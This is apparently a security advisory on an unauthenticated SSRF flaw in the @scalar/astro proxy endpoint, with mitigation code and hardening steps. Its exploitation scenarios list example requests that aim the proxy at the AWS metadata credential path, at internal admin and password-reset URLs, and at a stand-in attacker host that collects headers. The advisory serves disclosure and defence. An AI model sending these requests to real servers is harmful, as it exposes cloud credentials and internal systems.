scalar/astro Proxy Endpoint Unauthenticated SSRF (CVE-2026-30118)

Executive Summary

A critical unauthenticated Server-Side Request Forgery (SSRF) vulnerability (CVE-2026-30118) has been disclosed in scalar/astro v0.1.13, the Astro integration package for the Scalar API documentation platform. The flaw resides in the Scalar Proxy endpoint, which accepts a scalar_url query parameter that is used to construct backend HTTP requests without adequate validation.

An unauthenticated attacker can supply an attacker-controlled URL via this parameter, causing the backend server to issue HTTP requests to arbitrary destinations — including internal network resources, cloud metadata services, and other infrastructure that would otherwise be inaccessible from the public internet.

CVSS Score: 9.8 (Critical)

Vulnerability Overview

Affected Products

Scalar is a popular open-source API documentation platform with integrations for various frameworks. The @scalar/astro package provides integration with the Astro static site framework, enabling developers to embed interactive API documentation with a built-in proxy for making test API requests directly from documentation pages.

Technical Details

Vulnerability Root Cause

The Scalar Proxy endpoint is designed to relay API requests from the browser to backend API servers, bypassing CORS restrictions for documentation use cases. The endpoint accepts a scalar_url query parameter specifying the target URL for the proxied request.

The vulnerability arises because:

1. The scalar_url parameter accepts arbitrary URLs without validation
2. The server makes outbound HTTP requests to the supplied URL on behalf of the client
3. No allowlist or blocklist is applied to restrict the target URL to safe, expected destinations
4. Authentication is not required to invoke the proxy endpoint

Exploitation Scenarios

Scenario 1: Cloud Metadata Service Access (AWS)
  GET /scalar-proxy?scalar_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
  → Server fetches AWS instance metadata, returning temporary IAM credentials
 
Scenario 2: Internal Service Enumeration
  GET /scalar-proxy?scalar_url=http://10.0.0.1:8080/admin
  → Server probes internal services not accessible from the internet
 
Scenario 3: Credential Interception
  GET /scalar-proxy?scalar_url=http://attacker.example.com/collect
  → Server makes outbound request to attacker server, revealing:
    - Server IP address
    - Internal hostname/DNS resolution
    - HTTP headers (including any auth tokens forwarded)
 
Scenario 4: SSRF to Internal APIs
  GET /scalar-proxy?scalar_url=http://internal-api.company.internal/admin/reset-password
  → Attacker triggers privileged operations on internal systems

Why CVSS 9.8?

The score reflects the combination of unauthenticated access, network-accessible exploitation, low complexity, and no user interaction. SSRF vulnerabilities targeting cloud environments are particularly dangerous because metadata services (AWS IMDSv1, GCP metadata API, Azure IMDS) can return temporary credentials that provide broader cloud account access. The 9.8 score stops short of 10.0 only because the scope impact category is unchanged (attacker interacts with adjacent systems rather than escaping a defined security boundary).

Impact Assessment

Recommendations

Immediate Actions

1. Upgrade to a patched version of @scalar/astro — check the Scalar GitHub releases for a fix addressing CVE-2026-30118
2. Disable or restrict the Scalar Proxy endpoint if interactive API testing is not required in your documentation deployment
3. Block outbound requests to metadata service IPs at the network/firewall level as a defense-in-depth measure:
   • AWS: 169.254.169.254
   • GCP: 169.254.169.254 / metadata.google.internal
   • Azure: 169.254.169.254
4. Enforce IMDSv2 on AWS instances to require session-oriented metadata requests (mitigates metadata SSRF even if the application is vulnerable)

Code-Level Mitigation (Until Patch Applied)

If you must run the vulnerable version, consider adding a middleware layer to validate the scalar_url parameter against an allowlist:

// Example: Astro middleware to restrict scalar_url
export const onRequest = defineMiddleware(async (context, next) => {
  const url = new URL(context.request.url);
  if (url.pathname.includes('scalar-proxy')) {
    const scalarUrl = url.searchParams.get('scalar_url');
    if (scalarUrl) {
      const allowedHosts = ['api.yourservice.com', 'localhost'];
      const targetUrl = new URL(scalarUrl);
      if (!allowedHosts.includes(targetUrl.hostname)) {
        return new Response('Forbidden', { status: 403 });
      }
    }
  }
  return next();
});

AWS IMDSv2 Enforcement

# Require IMDSv2 on existing EC2 instances
aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890abcdef0 \
  --http-tokens required \
  --http-endpoint enabled
 
# Apply to all instances in a region
aws ec2 describe-instances --query 'Reservations[].Instances[].InstanceId' --output text | \
  xargs -I{} aws ec2 modify-instance-metadata-options --instance-id {} --http-tokens required

Detection Indicators

Post-Remediation Checklist

1. Update @scalar/astro — verify the installed version is patched: npm list @scalar/astro
2. Rotate cloud credentials if you suspect metadata service access may have occurred
3. Review cloud trail/audit logs (AWS CloudTrail, GCP Audit Logs, Azure Activity Log) for unexpected API calls from the application's IAM role
4. Enforce IMDSv2 across all cloud instances as a permanent hardening measure
5. Audit all proxy-style endpoints in your application for similar SSRF patterns
6. Update firewall rules to block outbound requests to metadata service IP ranges from web tier hosts

References

• NIST NVD — CVE-2026-30118
• Scalar GitHub Repository
• CWE-918: Server-Side Request Forgery
• OWASP SSRF Prevention Cheat Sheet
• AWS IMDSv2 Documentation